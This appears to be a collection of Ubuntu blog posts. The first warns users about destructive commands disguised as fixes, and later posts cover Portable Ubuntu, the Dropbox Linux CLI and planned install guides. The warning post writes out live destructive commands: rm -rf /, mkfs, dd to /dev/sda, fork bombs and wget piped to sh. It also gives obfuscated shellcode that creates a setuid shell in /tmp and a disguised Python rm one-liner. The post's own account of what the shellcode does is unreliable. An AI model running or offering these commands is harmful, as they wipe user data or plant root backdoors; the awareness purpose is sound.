There are a number of unscrupulous people out there that are trying to, for whatever reason, get you to cause serious damage to your Ubuntu system.  They do this under the guise of helping you and they get you to type in these commands to “fix” your system.

I believe that knowledge is power. And I understand that this post couple be used to teach people how to do this exact thing.  But I also believe that making people aware of these dangers is the best way to inoculate them.

Delete All Files in Directory and Directory Above

rm -rf /
rm -rf .
rm -rf *
rm -r .[^.]*

Reformat Devices

Anything mentioned after the command will be reformatted blank.

mkfs
mkfs.ext3
mkfs.anything

Block Device Manipulation

Writes raw data to the device and often destroys it.

any_command > /dev/sda
dd if=something of=/dev/sda

Fork Bombs

Runs a massive amount of processes until the system locks up.

Bash:
:(){:|:&};:

Perl:
fork while fork

Tar Bomb

File extract into a massive number of folders and files, potentially injecting files into the operating system.  This can make your system useless.

Decompression Bomb

You are asked to download a relatively small file which contains highly compressed data.  Wheb extracted, it could take up gigs of data that may even fill up your entire hard drive and bring you system to a grinding halt.

Malicious Shell Scripts

You are asked to download and run a shell script that can contain any number of deadly commands.

wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

Compiling Code

You are given or type in the source code which you then compile on your system and reek havoc on your system.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This actually runs rm -rt ~ / & which destroys all the home directories!

Something similar in Python:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Conclusion

So, if you are getting some help with your Ubuntu system, make sure you trust the person you are getting help from!

[Ubuntu Forums]

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My plan for this weekend was to go out and but yet another computer so that I can have a dedicated Linux box to work on.  I need to have Windows on my machines simply because most of the people that I need to support are running Windows and that is what I need to keep up to speed on!

But, I am also finding that a lot of the tools that I want to use are only available for Linux.  Since it takes quite a while to save up for another computer from the proceeds I make from Daily Cup of Tech, I have been struggling along with VMware versions of Ubuntu.

So, I was going to bite the bullet this weekend and take my kids’ college fund to go but a computer to put Linux on. As I was about to head out the door, I ran across something that might actually allow me to keep my kids’ college fund where it is!

Portable Ubuntu for Windows provides the user with the ability to install Ubuntu on a Windows machine and do pretty much everything that you can do on a regular Ubuntu machine!  And, you can do the install to a USB device so that you can take your Ubuntu with you and run it from any Windows machine you want!

From the website:

Portable Ubuntu for Windows is an Ubuntu system running as a Windows application.

This system is built with the Colinux Kernel, Xming X server and Pulseaudio server for Windows.

Portable Ubuntu for Windows is a useful tool for when you need to use Ubuntu on an machine that has Windows as operating system.

I have just started to play with it but from what I have seen, it is pretty impressive.  Here are some videos of pubuntu (as they are calling it) that I have found which may give you a bit of an idea what this is all about:

[portableubuntu.demonccc.com.ar]

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Dropbox, one of my favorite free tools, has just updated their Linux package!  I am very excited by this because I can now run Dropbox on my non-GUI Ubuntu servers!

From the website:

Hi Friends!

We’ve been keeping this secret for some months while Megabuild (0.6.507) was in development. Now it’s finally ready! Here is the newest Linux package for Dropbox. In this package you can expect the following enhancements:

  • Dropbox CLI (man dropbox at your prompt :)
  • New Nautilus emblems (spiffy ones you see on the latest Mac and Windows builds)
  • Dropbox no longer autostarts for every user from Nautilus, you can now start Dropbox from your applications menu!
  • Jaunty compatibility out of the box (finally!)

For you Jaunty users out there who can’t stand a single level of indirection here are some direct links:

Enjoy!

[New Nautilus Plugin + Official Dropbox CLI]

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[LinuxHaxor]

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I have to admit, even though I am a fan of Ubuntu, I do not use it nearly enough.  Because of that, it is not uncommon for me to have to go around and find the same website time and time again to show me how to do the same old tasks over and over again.

So, I’ve decided to start documenting the installation of some of the more basic services and applications in Ubuntu.  These will all be command line installations so that they will work regardless of whether you have xWindows installed or not.

I will be basing these installations on the following assumptions:

  • The system is running Ubuntu 8.10
  • All of the sources have been enabled by modifying the /etc/apt/sources.list file
  • The system has been installed with basic installation settings and no extras were installed (LAMP, mySQL, etc.)

I will endeavor to make this as cut and paste as possible so that you can reduce the amount of actual effort that you need to perform yourself and get on with the actual work.

This will not be one long series one after the other.  Rather, as I find the need to install a different application or program, I will add it to the blog.

I hope you will find them to be useful.

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